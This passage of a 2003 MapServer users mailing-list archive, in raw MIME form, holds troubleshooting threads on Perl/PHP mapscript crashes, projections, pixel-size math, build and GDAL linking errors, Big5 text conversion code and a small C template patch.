------_=_NextPart_001_01C2B8C9.A5D847C3-- ------_=_NextPart_000_01C2B8C9.A5D847C3 Content-Type: text/html; name="checkBox_legend.html" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="checkBox_legend.html" [leg_layer_html opt_flag=3D2 order_metadata=3Dlegend_order] [if name=3Dlayer_status oper=3Dneq value=3D2] [/if] [/leg_layer_html] [leg_class_html opt_flag=3D2] =20   =20 [leg_class_name] [/leg_class_html] ------_=_NextPart_000_01C2B8C9.A5D847C3-- From jlowe at giswebsite.com Fri Jan 10 09:48:04 2003 From: jlowe at giswebsite.com (Jonathan W. Lowe) Date: 10 Jan 2003 09:48:04 -0800 Subject: [Mapserver-users] mapscript and XBase cause Out of memoryerrorand/or premature endof script headers error In-Reply-To: <200301101553.h0AFrhR15972@yogi.medinaco.net> References: <200301101553.h0AFrhR15972@yogi.medinaco.net> Message-ID: <1042220887.1054.53.camel@localhost.localdomain> Lowell, The problem Daniel Morissette describes below )("crash in the web server environment just after the call to $map->draw()") is exactly what was happening with my FreeBSD installation. When the sys admin increased the memory ceiling to 12 MB, the problem went away. However, when I zoomed to a level requiring many street labels, the problem reappeared. I had compiled mapserver and perl mapscript against completely local builds of gd, proj-4, libpng, and all other required libraries. When I recompiled using the system builds of those libraries, the program that had been crashing ran fine. This suggests some kind of memory limitation, yes? When running the problematic script with a directive... $ENV{MS_ERRORFILE} = "/usr/home/gisweb/www/logs/mapscript.log"; # map engine error log ...to send error messages to a log file, the following appeared in the log after crashes of the $map->draw() line: Tue Jan 7 15:06:08 2003 - msSearchDiskTree(): Unable to access file. Tue Jan 7 15:06:08 2003 - msSearchDiskTree(): Unable to access file. Tue Jan 7 15:06:08 2003 - msSearchDiskTree(): Unable to access file. Tue Jan 7 15:06:09 2003 - msSearchDiskTree(): Unable to access file. Tue Jan 7 15:06:09 2003 - msSearchDiskTree(): Unable to access file. Tue Jan 7 15:06:09 2003 - msSearchDiskTree(): Unable to access file. Tue Jan 7 15:06:09 2003 - msSearchDiskTree(): Unable to access file. Tue Jan 7 15:06:09 2003 - msSearchDiskTree(): Unable to access file. Tue Jan 7 15:06:09 2003 - msSearchDiskTree(): Unable to access file. Tue Jan 7 15:06:09 2003 - msSearchDiskTree(): Unable to access file. Tue Jan 7 15:06:09 2003 - msAddImageSymbol(): Unable to access file. Tue Jan 7 15:06:09 2003 - msGetLabelSize(): TrueType Font error. libgd was not built with TrueType font support The last line, about the TrueType Font error seems to be the relevant one, although I did build libgd with freetype1. (The msSearchDiskTree error is explained in other postings in this list.) I've accepted that I will not be able to run a local copy of all the supporting libraries and so am now at the mercy of the host's system administrator to keep the right versions of gd, etc. on the system. With the exception of some label rotation problems caused (I think) by a bug in an earlier version of gd (1.8.4), this seems to work, so I've abandoned the local setup and memory ceiling question. Learned to date: 12 MB apparently is inadequate for the image processing requirements of the combined libraries + mapserver, but the needed ceiling is not known. Hope this helps, Jonathan Lowe On Fri, 2003-01-10 at 07:56, Lowell Filak wrote: > Jonathan; > Have you been able to identify anything? > Thanks. > Lowell > > The following message was sent by Daniel Morissette on Thu, 09 Jan 2003 20:46:55 -0500. > > > "Jonathan W. Lowe" wrote: > > > > > > The rest of the story is still not over, however. The test script that now > > > works is only a test script; the main script still fails, with a "Premature end > > > of script headers" error message in the log file. I plan to slowly add > > > subroutines to the working script and see where it stops working... > > > > > > > FYI we have run into a similar issue on a Linux box where a Perl > > MapScript (3.6.x) script would work fine at the command line but would > > sometimes crash in the web server environment just after the call to > > $map->draw(), resulting in a premature end of script headers (or > > truncated output sometimes)... I have never been able to identify the > > source of the problem, but if you find anything then I would be very > > interested in hearing the solution. > > > > Daniel > > -- > > ------------------------------------------------------------ > > Daniel Morissette morissette at dmsolutions.ca > > DM Solutions Group http://www.dmsolutions.ca/ > > ------------------------------------------------------------ > > From jmccue at geovue.com Fri Jan 10 10:46:23 2003 From: jmccue at geovue.com (John McCue) Date: Fri, 10 Jan 2003 13:46:23 -0500 Subject: [Mapserver-users] Projections Message-ID: How are projections handled in map server? When I use: PROJECTION "proj=longlat" "ellps=GRS80" END The image seems to be sheared or stretched in the north south direction. The data I am using is in lon/lat coordinates. Thanks John From ed at topozone.com Fri Jan 10 10:52:09 2003 From: ed at topozone.com (Ed McNierney) Date: Fri, 10 Jan 2003 13:52:09 -0500 Subject: [Mapserver-users] Projections Message-ID: <13858AA1A74F30419F319ACB66A9D1221F3AF1@mercator.topozone.com> John - If you create a simple MAP file that specifies no projection at all, do you get a different result than if you specify that PROJECTION block? Is it possible that you're displaying the image in an IMG tag that's got a HEIGHT and WIDTH explicitly specified? - Ed Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed at topozone.com (978) 251-4242 -----Original Message----- From: John McCue [mailto:jmccue at geovue.com] Sent: Friday, January 10, 2003 1:46 PM To: Mapserver-Users Subject: [Mapserver-users] Projections How are projections handled in map server? When I use: PROJECTION "proj=longlat" "ellps=GRS80" END The image seems to be sheared or stretched in the north south direction. The data I am using is in lon/lat coordinates. Thanks John _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From morissette at dmsolutions.ca Fri Jan 10 12:06:02 2003 From: morissette at dmsolutions.ca (Daniel Morissette) Date: Fri, 10 Jan 2003 15:06:02 -0500 Subject: [Mapserver-users] References: <005a01c2b511$e2391b20$470a18d3@clickntrac> <3E1E2C0B.3A8AB2F5@dmsolutions.ca> <001d01c2b8a6$9db0d950$840918d3@clickntrac> Message-ID: <3E1F27AA.EB411AAB@dmsolutions.ca> > Steve McCrone wrote: > > The pixel_size = ([maxx] - [minx])/[width] will give me how many > degrees (decimal degrees) is each pixel, But some further math has to > be done to somehow equate this to a distance. Now, I could "inverse" > between the two extents to get a metres value but I would essentiall > ybe bypassing the "built-in" measurement > . > > Still puzzled. I may have to resort to PHP mapscript to get further > control over my app. > Ah, your need to convert the pixel size from degrees to meters, and doing this accurately requires that you use the PROJ library because one degree of longitude is not the same lenght depending on how far you are from the equator. So to get an accurate pixel size value you would have to use MapScript (Perl, PHP, etc.) or the php_proj module that comes in the php_mapscript directory to calculate the size of one pixel at the center of your map image. Now, if you can live with a very rough approximation you can go with the assumption that 1 degree is approx. 69 miles, or 110 km at the equator. So the formula becomes: pixel_size_in_meters = 110000*([maxx] - [minx])/[width] Daniel -- ------------------------------------------------------------ Daniel Morissette morissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From mpr at dpi.ufv.br Fri Jan 10 13:14:08 2003 From: mpr at dpi.ufv.br (=?iso-8859-1?Q?Maur=EDcio?= Pereira Reis) Date: Fri, 10 Jan 2003 19:14:08 -0200 Subject: [Mapserver-users] help! gd compiling error Message-ID: <5.1.0.14.0.20030110191341.00b5ef68@vicosa.dpi.ufv.br> --=====================_16239811==_.ALT Content-Type: text/plain; charset="iso-8859-1"; format=flowed Content-Transfer-Encoding: quoted-printable I need your help. I am trying to install MapServer and I'm following the documentation=20 "MapServer Cygwin Compilation and Installation HowTo". I have a problem with compiling gd-1.8.4 package with cygwin on Windows xp " $ make /bin/sh ./libtool --mode=3Dlink gcc -g -02 -L/usr/local/lib -L -o pngtogd=20 pngtogd.o libgd.la -lpng lz lm cd: can't cd to libtool: link: warning: cannot determine absolute directory name of ' libtool: link: passing it literally to the linker, although it might fail cd: can't cd to gcc -g -02 -L/usr/local/lib -L -o pngtogd pngtogd.o .libs/libgd.a -lpng -lz= =20 -lpng -lz gcc: pngtogd: No such file or directory make: *** [pngtogd] Error 1 " Thanks, Mauricio ------ Mauricio Pereira Reis Graduando em Ci=EAncia da Computa=E7=E3o Universidade Federal de Vi=E7osa - UFV --=====================_16239811==_.ALT Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable

I need your help.
I am trying to install MapServer and I'm following the documentation "MapServer Cygwin Compilation and Installation HowTo".
I have a problem with compiling gd-1.8.4 package with cygwin on Windows xp

"
$ make
/bin/sh ./libtool --mode=3Dlink gcc -g -02 -L/usr/local/lib -L -o pngtogd pngtogd.o libgd.la -lpng lz lm
cd: can't cd to
libtool: link: warning: cannot determine absolute directory name of '
libtool: link: passing it literally to the linker, although it might fail
cd: can't cd to
gcc -g -02 -L/usr/local/lib -L -o pngtogd pngtogd.o .libs/libgd.a -lpng -lz -lpng -lz
gcc: pngtogd: No such file or directory
make: *** [pngtogd] Error 1
"


Thanks,

Mauricio

------
Mauricio Pereira Reis
Graduando em Ci=EAncia da Computa=E7=E3o
Universidade Federal de Vi=E7osa - UFV --=====================_16239811==_.ALT-- From dbecker at 911.lubbock.tx.us Fri Jan 10 15:00:40 2003 From: dbecker at 911.lubbock.tx.us (dbecker at 911.lubbock.tx.us) Date: Fri, 10 Jan 2003 17:00:40 -0600 Subject: [Mapserver-users] Geocode Lat/Long Decimal Degrees In-Reply-To: <20030109180001.3489.97964.Mailman@lists.gis.umn.edu> Message-ID: Hi fellow listers! I've been looking for a custom mapserver query that will all a user to key in Lat/Long coordinates in decimal degrees, and plot that point on a map. Does anyone know of an existing mapserver application that will do this? I haven't come across that functionality. I'm not looking for batch geocoding, but an interface where a pair of coordinates is typed into a dialog box resulting with that point on the map. If new coordinates are typed then the point changes location. Thanks, Don Becker Lubbock Emergency Communication District From stepan.kafka at centrum.cz Sat Jan 11 08:04:09 2003 From: stepan.kafka at centrum.cz (Stepan Kafka) Date: Sat, 11 Jan 2003 17:04:09 +0100 Subject: [Mapserver-users] Geocode Lat/Long Decimal Degrees In-Reply-To: Message-ID: <000001c2b98b$13502f50$7e3c2fc3@HSGIS> Hi Don, yes mapserver provides this functionality. It can be don in several ways - with mapserver itself or by mapscript depending on required functionality (eg. coordinate system of map, zooming etc...). Stepan Kafka Help Service Remote Sensing tel: +420-327514118 mailto:kafka at email.cz http://www.bnhelp.cz > -----P?vodn? zpr?va----- > Od: mapserver-users-admin at lists.gis.umn.edu > [mailto:mapserver-users-admin at lists.gis.umn.edu]za u?ivatele > dbecker at 911.lubbock.tx.us > Odesl?no: 11. ledna 2003 0:01 > Komu: mapserver-users at lists.gis.umn.edu > P?edm?t: [Mapserver-users] Geocode Lat/Long Decimal Degrees > > > > Hi fellow listers! > > I've been looking for a custom mapserver query that will all a user to key > in Lat/Long coordinates in decimal degrees, and plot that point on a map. > Does anyone know of an existing mapserver application that will do this? I > haven't come across that functionality. I'm not looking for batch > geocoding, but an interface where a pair of coordinates is typed into a > dialog box resulting with that point on the map. If new coordinates are > typed then the point changes location. > > Thanks, > > Don Becker > Lubbock Emergency Communication District > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > From eduardo at linkgeo.com.br Sat Jan 11 08:34:38 2003 From: eduardo at linkgeo.com.br (Eduardo Patto Kanegae) Date: Sat, 11 Jan 2003 14:34:38 -0200 Subject: [Mapserver-users] 1st MapServer Users Meeting - a question Message-ID: <20030111163438.5239.qmail@hm47.locaweb.com.br> I?ve just read about MUM at MapServer?s site and think that?s a great idea! It means that MapServer is becoming more popular between webmaping users. But i would to do some questions about it: 1. Will it be a permanent conference? (something about 1 per year) 2. What is the max date for subscribing for the event? thanks Eduardo Patto Kanegae eduardo at linkgeo.com.br http://www.linkgeo.com.br LinkGEO - Webmaping & Geoprocessamento / BRASIL From mike_5102 at yahoo.com.tw Sun Jan 12 00:15:17 2003 From: mike_5102 at yahoo.com.tw (Mikeyahoo) Date: Sun, 12 Jan 2003 16:15:17 +0800 Subject: [Mapserver-users] about unicode to big5? Message-ID: <001101c2ba13$4af4d720$3c46fea9@Mike> This is a multi-part message in MIME format. ------=_NextPart_000_000C_01C2BA55.CC071D40 Content-Type: text/plain; charset="big5" Content-Transfer-Encoding: quoted-printable Hello all, I have PHP ver4.0.6 and MapServer version 3.5. and the dbms is = postgresql7.1.3.I want to show the big5 on my map.My db had already = converted the unicode to the big5,but the map on web still show the = unicode.So I want to use php/mapscript to convert the word.following is = the program that download on web: >6); $str.=3D(0x80 | $c & 0x3F); }ElseIf($c < 0x10000) { $str.=3D(0xE0 | $c>>12); $str.=3D(0x80 | $c>>6 & 0x3F); $str.=3D(0x80 | $c & 0x3F); }ElseIf($c < 0x200000) { $str.=3D(0xF0 | $c>>18); $str.=3D(0x80 | $c>>12 & 0x3F); $str.=3D(0x80 | $c>>6 & 0x3F); $str.=3D(0x80 | $c & 0x3F); } Return $str; } Function Big52Utf8($Big5){ //Modify By MingSen Zhao If(!Trim($Big5)) Return $Big5; $tmp=3DFile("./BIG5.TXT"); Foreach($tmp as $key =3D> $value) $codetable[Hexdec(Substr($value,0,6))]=3DSubstr($value,7,6); While($Big5){ If(Ord(Substr($Big5,0,1))>127){ $utf8=3DU2Utf8(Hexdec($codetable[Hexdec(Bin2hex(Substr($Big5,0,2)))])); For($i=3D0;$i

Hello all,
I have PHP ver4.0.6 and = MapServer version 3.5. and the=20 dbms is postgresql7.1.3.I want to show the = big5 on my=20 map.My db had already converted the unicode to the big5,but=20 the map on web still show the unicode.So I want to use = php/mapscript=20 to convert the word.following is the program that download on=20 web:
<?php
   Function=20 U2Utf8($c){
      If($c < 0x80)=20 {
        =20 $str.=3D$c;
      }ElseIf($c < 0x800)=20 {
         $str.=3D(0xC0 |=20 $c>>6);
         = $str.=3D(0x80 |=20 $c & 0x3F);
      }ElseIf($c < = 0x10000)=20 {
         $str.=3D(0xE0 |=20 $c>>12);
         = $str.=3D(0x80 |=20 $c>>6 & = 0x3F);
        =20 $str.=3D(0x80 | $c & 0x3F);
      = }ElseIf($c <=20 0x200000) {
         = $str.=3D(0xF0 |=20 $c>>18);
         = $str.=3D(0x80 |=20 $c>>12 & = 0x3F);
        =20 $str.=3D(0x80 | $c>>6 &=20 0x3F);
         $str.=3D(0x80 = | $c=20 & 0x3F);
     =20 }
      Return $str;
   = }
 
Function = Big52Utf8($Big5){
  =20 //Modify By MingSen Zhao
 
   If(!Trim($Big5)) Return=20 $Big5;
   $tmp=3DFile("./BIG5.TXT");
   = Foreach($tmp as=20 $key =3D> $value)
     =20 $codetable[Hexdec(Substr($value,0,6))]=3DSubstr($value,7,6);
=
 
  =20 While($Big5){
     =20 If(Ord(Substr($Big5,0,1))>127){
 
$utf8=3DU2Utf8(Hexdec($codetable[Hexdec(Bin2hex(Substr($Big5,0,2= )))]));
        =20 For($i=3D0;$i<Strlen($utf8);$i+=3D3)
     =       =20 $ret.=3DChr(Substr($utf8,$i,3));
      &= nbsp; =20 $Big5=3DSubstr($Big5,2,Strlen($Big5));
      = }Else{
        =20 $ret.=3DSubstr($Big5,0,1);
       &= nbsp;=20 $Big5=3DSubstr($Big5,1,Strlen($Big5));
      = }
   }
   Return $ret;
}
it need a file "big5.txt" that = is a u8tob5=20 table.this program can be running correctly.but the word on map is=20 still unreadable.It seems to transfer uncompletely.And the = tansfer=20 time is slowly.Are there any methods that can work like this = and more=20 efficiency?
 
thanks for your=20 response!
------=_NextPart_000_000C_01C2BA55.CC071D40-- ----------------------------------------------------------------- < ?C???? Yahoo!?_?? > www.yahoo.com.tw From mccrone at pc.jaring.my Sun Jan 12 02:14:56 2003 From: mccrone at pc.jaring.my (Steve McCrone) Date: Sun, 12 Jan 2003 18:14:56 +0800 Subject: [Mapserver-users] Accessing the cumulative distance value outside of the status bar References: <005a01c2b511$e2391b20$470a18d3@clickntrac> <3E1E2C0B.3A8AB2F5@dmsolutions.ca> <001d01c2b8a6$9db0d950$840918d3@clickntrac> <3E1F27AA.EB411AAB@dmsolutions.ca> Message-ID: <002001c2ba23$7573a4d0$c79f063d@clickntrac> After looking at the java source of the 'Rosa2000.java' I see that there is not function that returns the cumulative distance text that can be called by a javascript function. So, am I correct in saying that there is not currently a function in the rosa applet that allows the cumulative distance string to be accessed? Not being a java developer would it be possible to Add a function in the Rosa2000.java code to return the parameter m_strMsg, which i beleive is the string variable that holds the message displayed in the status bar. See below: protected void readPararam() { // Get the message. m_strMsg = m_applet.getParameter( kstrDistanceMsgParam ); ... } In the 'Rosa2000.java' have something like - public void GetDistMsg() { return m_strMsg; } From mccrone at pc.jaring.my Sun Jan 12 06:25:29 2003 From: mccrone at pc.jaring.my (Steve McCrone) Date: Sun, 12 Jan 2003 22:25:29 +0800 Subject: [Mapserver-users] Accessing the spatial part of a shp file Message-ID: <004b01c2ba46$76639530$7f7a063d@clickntrac> Hi gain, Would like to get some ideas on how to access the coordinates of a spatial shape. My goal is to have the user 'locate' (i.e. pan & zoom) to a spatial data. In other words, the user would select from a list of roads, for example, and then push a 'find' button. The map would zom and pan to the road. Once I extract the coordinates that make up the road I could adjust the map extants to zoom & pan. I was hoping that i could perform a record search on the shape file, find the record that contains the attribute (name for example), extract the coordinates of the polyline, point or polygon and then adjust the map. Or do I have to create a separate table that contains a pre-defined centre coordinate of the spatial data and then use this to adjust the map extents. Thanks Steve From rich at greenwoodmap.com Sun Jan 12 07:33:38 2003 From: rich at greenwoodmap.com (Richard Greenwood) Date: Sun, 12 Jan 2003 08:33:38 -0700 Subject: [Mapserver-users] Accessing the cumulative distance value outside of the status bar In-Reply-To: <002001c2ba23$7573a4d0$c79f063d@clickntrac> References: <005a01c2b511$e2391b20$470a18d3@clickntrac> <3E1E2C0B.3A8AB2F5@dmsolutions.ca> <001d01c2b8a6$9db0d950$840918d3@clickntrac> <3E1F27AA.EB411AAB@dmsolutions.ca> Message-ID: <5.2.0.9.0.20030112082022.00a9eff8@mail.greenwoodmap.com> --=======6225B89======= Content-Type: text/plain; x-avg-checked=avg-ok-BC9450D; charset=us-ascii; format=flowed Content-Transfer-Encoding: 8bit I'm not familiar with Rosa, but I have added distance measuring functionality to jBox FKA mapplet. It returns the invididual segment distance and the cumulative distance, which can then be displayed in the browser's status bar or elsewhere (like in a text box). For a working example see: http://www2.tetonwyo.org/mapserver/ and for the java classes and source http://www.greenwoodmap.com/mapserver/ It will also be available on the UMN site soon. Having said all that, it seems like you could accomplish what you want with Rosa and JavaScript. You can read the browser's status line with s=defaultStatus; And you could then implement your own running total or whatever. Rich At 06:14 PM 1/12/2003 +0800, Steve McCrone wrote: >After looking at the java source of the 'Rosa2000.java' I see that there is >not function >that returns the cumulative distance text that can be called by a javascript >function. > >So, am I correct in saying that there is not currently a function in the >rosa applet that allows >the cumulative distance string to be accessed? > >Not being a java developer would it be possible to Add a function >in the Rosa2000.java code to return the parameter m_strMsg, >which i beleive is the string variable that holds the message >displayed in the status bar. See below: > >protected void readPararam() > { > // Get the message. > m_strMsg = m_applet.getParameter( kstrDistanceMsgParam ); > ... > } > >In the 'Rosa2000.java' have something like - > >public void GetDistMsg() > { > return m_strMsg; > } > > > >_______________________________________________ >Mapserver-users mailing list >Mapserver-users at lists.gis.umn.edu >http://lists.gis.umn.edu/mailman/listinfo/mapserver-users Richard W. Greenwood, PLS (307) 733-0203 Rich at GreenwoodMap.com www.GreenwoodMap.com --=======6225B89=======-- From morissette at dmsolutions.ca Sun Jan 12 11:48:30 2003 From: morissette at dmsolutions.ca (Daniel Morissette) Date: Sun, 12 Jan 2003 14:48:30 -0500 Subject: [Fwd: [Mapserver-users] ] Message-ID: <3E21C68E.F2E3F697@dmsolutions.ca> This is a multi-part message in MIME format. --------------CA8E78463AE5B2CD3CBAA4A3 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit --------------CA8E78463AE5B2CD3CBAA4A3 Content-Type: message/rfc822 Content-Transfer-Encoding: 7bit Content-Disposition: inline Received: from xcalibur.dmsolutions.ca (www2.dmsolutions.on.ca [209.217.116.146]) by in2.magma.ca (Magma's Mail Server) with ESMTP id h0BFv6I1023235 for ; Sat, 11 Jan 2003 10:57:06 -0500 (EST) Received: from smtp4.jaring.my (smtp4.jaring.my [61.6.32.54]) by xcalibur.dmsolutions.ca (8.11.2/8.11.2) with ESMTP id h0BFv4t31574 for ; Sat, 11 Jan 2003 10:57:04 -0500 Received: from clickntrac (j39.crc23.jaring.my [61.6.96.53]) by smtp4.jaring.my (8.12.6/8.12.6) with SMTP id h0BFuwKg064731 for ; Sat, 11 Jan 2003 23:57:01 +0800 (MYT) (envelope-from mccrone at pc.jaring.my) Message-ID: <000e01c2b98a$68883ea0$3560063d at clickntrac> From: "Steve McCrone" To: "Daniel Morissette" References: <005a01c2b511$e2391b20$470a18d3 at clickntrac> <3E1E2C0B.3A8AB2F5 at dmsolutions.ca> <001d01c2b8a6$9db0d950$840918d3 at clickntrac> <3E1F27AA.EB411AAB at dmsolutions.ca> Subject: Re: [Mapserver-users] Date: Sat, 11 Jan 2003 23:59:15 +0800 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6700 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 X-Mozilla-Status2: 00000000 Hey, thanks for your insight - the estimated value for my distance is adequate. I made the calculation and used the SetPixelSize() function - its working fine and changes the value correctly when I zoom in/out. I may be pushing my luck here but how do I access the distance measured once the user finishes with the tool (i.e. esc or double clicks). The text in the status bar is cleared once this happens - I wanted to use this measured distance in a java script function., and I don't see a way of capturing the status bar text as the mouse moves. Steve ----- Original Message ----- From: "Daniel Morissette" To: "Steve McCrone" Cc: "mapserver-users" Sent: Saturday, January 11, 2003 4:06 AM Subject: Re: [Mapserver-users] > > Steve McCrone wrote: > > > > The pixel_size = ([maxx] - [minx])/[width] will give me how many > > degrees (decimal degrees) is each pixel, But some further math has to > > be done to somehow equate this to a distance. Now, I could "inverse" > > between the two extents to get a metres value but I would essentiall > > ybe bypassing the "built-in" measurement > > . > > > > Still puzzled. I may have to resort to PHP mapscript to get further > > control over my app. > > > > Ah, your need to convert the pixel size from degrees to meters, and > doing this accurately requires that you use the PROJ library because one > degree of longitude is not the same lenght depending on how far you are > from the equator. So to get an accurate pixel size value you would have > to use MapScript (Perl, PHP, etc.) or the php_proj module that comes in > the php_mapscript directory to calculate the size of one pixel at the > center of your map image. > > Now, if you can live with a very rough approximation you can go with the > assumption that 1 degree is approx. 69 miles, or 110 km at the equator. > So the formula becomes: > > pixel_size_in_meters = 110000*([maxx] - [minx])/[width] > > Daniel > -- > ------------------------------------------------------------ > Daniel Morissette morissette at dmsolutions.ca > DM Solutions Group http://www.dmsolutions.ca/ > ------------------------------------------------------------ > --------------CA8E78463AE5B2CD3CBAA4A3-- From bwragg at tpg.com.au Sun Jan 12 14:21:13 2003 From: bwragg at tpg.com.au (Benjamin Wragg) Date: Mon, 13 Jan 2003 08:51:13 +1030 Subject: [Mapserver-users] Problems with zoomrectangle function Message-ID: <000001c2ba88$eb5e9c80$0100a8c0@mapping12> This is a multi-part message in MIME format. ------=_NextPart_000_0001_01C2BAE0.EDEE6720 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable I=92m having some trouble with the zoomrectangle function, which I=92m = using with a JavaScript rubber band zoom tool I=92ve built. =20 I=92m passing the following arguments in:=20 A rectangle object which contains the new extents in pixels The map image width The map image height The map objects=92 current extent object. =20 So my call to the function looks like this: =20 $GLOBALS['map']->zoomrectangle($extentRectObj,$GLOBALS['map']->width,$GL OBALS['map']->height,$GLOBALS['map']->extent); =20 When I=92m zoomed to the full extent of my map file (-180, -90, 180, 90) the rubber band zoom tool creates a new image but with no extents changed. I can check this further by printing the map objects extent values before and after the function call and they are the same. =20 When I change my map extents so I=92m zoomed in on the map (I can do = this by using a tool which sets the extent coordinates manually), my tool starts to work. I can=92t figure out why? No errors are being generated = at any of the times the zoom doesn=92t work. =20 Thanks, =20 Benjamin =20 =20 ------=_NextPart_000_0001_01C2BAE0.EDEE6720 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable

I’m having some trouble with the zoomrectangle function, which I’m = using with a JavaScript rubber band zoom tool I’ve built.

 

I’m passing the following arguments in:

A rectangle object which contains the new extents in = pixels

The map image width

The map image height

The map objects’ current extent object.

 

So my call to the function looks like this:

 

$GLOBALS['map']->zoomrectangle($extentRectO= bj,$GLOBALS['map']->width,$GLOBALS['map']->height,$GLOBALS['map']-&= gt;extent);

 

When I’m zoomed to the full extent of my map file (-180, -90, 180, 90) = the rubber band zoom tool creates a new image but with no extents changed. I = can check this further by printing the map objects extent values before and = after the function call and they are the same.

 

When I change my map extents so I’m zoomed in on the map (I can do this = by using a tool which sets the extent coordinates manually), my tool starts to = work. I can’t figure out why? No errors are being generated at any of the = times the zoom doesn’t work.

 

Thanks,

 

Benjamin

 

 

------=_NextPart_000_0001_01C2BAE0.EDEE6720-- From morissette at dmsolutions.ca Sun Jan 12 18:07:34 2003 From: morissette at dmsolutions.ca (Daniel Morissette) Date: Sun, 12 Jan 2003 21:07:34 -0500 Subject: [Mapserver-users] unable to load dynamic library References: <25715.1042206453@www50.gmx.net> Message-ID: <3E221F66.99E723E5@dmsolutions.ca> frauke.trurnit at gmx.de wrote: > > I get the following error message: > > Unable to load dynamic library > '/usr/local/lib/php/extensions/php_mapscript.so' - /usr/local/lib/php/extensions/php_mapscript.so: undefined symbol: > GDALGetRasterXSize in /usr/local/httpd/htdocs/releases/bundestag.php4 on line 2 > Fatal error: Call to undefined function: ms_newmapobj() in > /usr/local/httpd/htdocs/releases/bundestag.php4 on line 4 > PHP seems to find your php_mapscript.so OK. The problem seems related to your GDAL installation, php_mapscript.so would have been compiled for a given version of GDAL but would find another version at runtime. Make sure you don't have two copies of GDAL on your system, and that MapServer and MapScript are compiled for this copy of GDAL. (to be safe, recompile and reinstall GDAL from scratch: make clean; make; make install and then recompile MapServer: make clean; make) Daniel -- ------------------------------------------------------------ Daniel Morissette morissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From silke at intevation.de Sun Jan 12 23:59:13 2003 From: silke at intevation.de (Silke Reimer) Date: Mon, 13 Jan 2003 08:59:13 +0100 Subject: [Mapserver-users] Allother probles solved - still woking on the PIXEL_SIZE calculation In-Reply-To: <001a01c2b6d5$b21e1380$276d063d@clickntrac> References: <001a01c2b6d5$b21e1380$276d063d@clickntrac> Message-ID: <20030113075913.GA13681@intevation.de> --gKMricLos+KVdGMg Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable Hi Steve, if you apply the following patch to the mapserver, you can get the pixelsize within your template with the tag [cellsize]. I hope that helps, =09 Silke On Wed, Jan 08, 2003 at 01:18:51PM +0800, Steve McCrone wrote: > Hi again, >=20 > I guess you could call it the 'Reverse Murphy Law'. Once I mail my questi= on/problem to the list, I still continue trouble shooting and, through sear= ching previous questions and trial and error, come up with the solution. So= , currently my project works with the rosa applet, which zooms, pans etc. I= can turn layers on & off using checkboxes, my map dos not zoom or pan duri= ng the toggling on/off of layers. My buttons retain their state after map r= edraws (i.e. submits). My next un-resolved issue is calculating the PIXEL_S= IZE to used in the measurement calculation. I'm really trying to avoid get= ting involved in PHP an wish to achieve all my functionality strictly with = mapserv and rosa - so far so good. >=20 > So if anyone out their can shed some light on the PIXEL_SIZE issue that w= ould be great. > > Steve Here is the patch: ------------------------- diff -ur mapserver-3.6.2.orig/maptemplate.c mapserver-3.6.2/maptemplate.c --- mapserver-3.6.2.orig/maptemplate.c Mon Aug 12 08:48:30 2002 +++ mapserver-3.6.2/maptemplate.c Mon Aug 12 08:53:50 2002 @@ -1963,6 +1963,8 @@ =20 sprintf(repstr, "%f", msObj->Map->scale); outstr =3D gsub(outstr, "[scale]", repstr); + sprintf(repstr, "%f", msObj->Map->cellsize); + outstr =3D gsub(outstr, "[cellsize]", repstr); =20 sprintf(repstr, "%.1f %.1f", (msObj->Map->width-1)/2.0, (msObj->Map->height-1)/2.0); outstr =3D gsub(outstr, "[center]", repstr); ------------------------- --=20 Silke Reimer Intevation GmbH http://intevation.de/ FreeGIS http://freegis.org/ --gKMricLos+KVdGMg Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.0 (GNU/Linux) iD8DBQE+InHR1W4oD4nfjasRAiDsAKDJa8aFj8EH8hEThhUHKvV6lGRJ7wCg4pzV 9zzWzdWTKu5MJT29oscdAX0= =ZrqD -----END PGP SIGNATURE----- --gKMricLos+KVdGMg-- From frauke.trurnit at gmx.de Mon Jan 13 05:23:03 2003 From: frauke.trurnit at gmx.de (frauke.trurnit at gmx.de) Date: Mon, 13 Jan 2003 14:23:03 +0100 (MET) Subject: [Mapserver-users] unable to load dynamic library References: <3E221F66.99E723E5@dmsolutions.ca> Message-ID: <15303.1042464183@www51.gmx.net> > frauke.trurnit at gmx.de wrote: > > > > I get the following error message: > > > > Unable to load dynamic library > > '/usr/local/lib/php/extensions/php_mapscript.so' - > /usr/local/lib/php/extensions/php_mapscript.so: undefined symbol: > > GDALGetRasterXSize in /usr/local/httpd/htdocs/releases/bundestag.php4 on > line 2 > > Fatal error: Call to undefined function: ms_newmapobj() in > > /usr/local/httpd/htdocs/releases/bundestag.php4 on line 4 > > > > > PHP seems to find your php_mapscript.so OK. The problem seems related > to your GDAL installation, php_mapscript.so would have been compiled for > a given version of GDAL but would find another version at runtime. Make > sure you don't have two copies of GDAL on your system, and that > MapServer and MapScript are compiled for this copy of GDAL. > > (to be safe, recompile and reinstall GDAL from scratch: make clean; > make; make install and then recompile MapServer: make clean; make) > > Daniel > -- > ------------------------------------------------------------ > Daniel Morissette morissette at dmsolutions.ca > DM Solutions Group http://www.dmsolutions.ca/ > ------------------------------------------------------------ > Where can I look for a possible second version? I installed only one version of GDAL (1.1.7). Can it be that Linux has its own GDAL? Or I made somewhat wrong with the 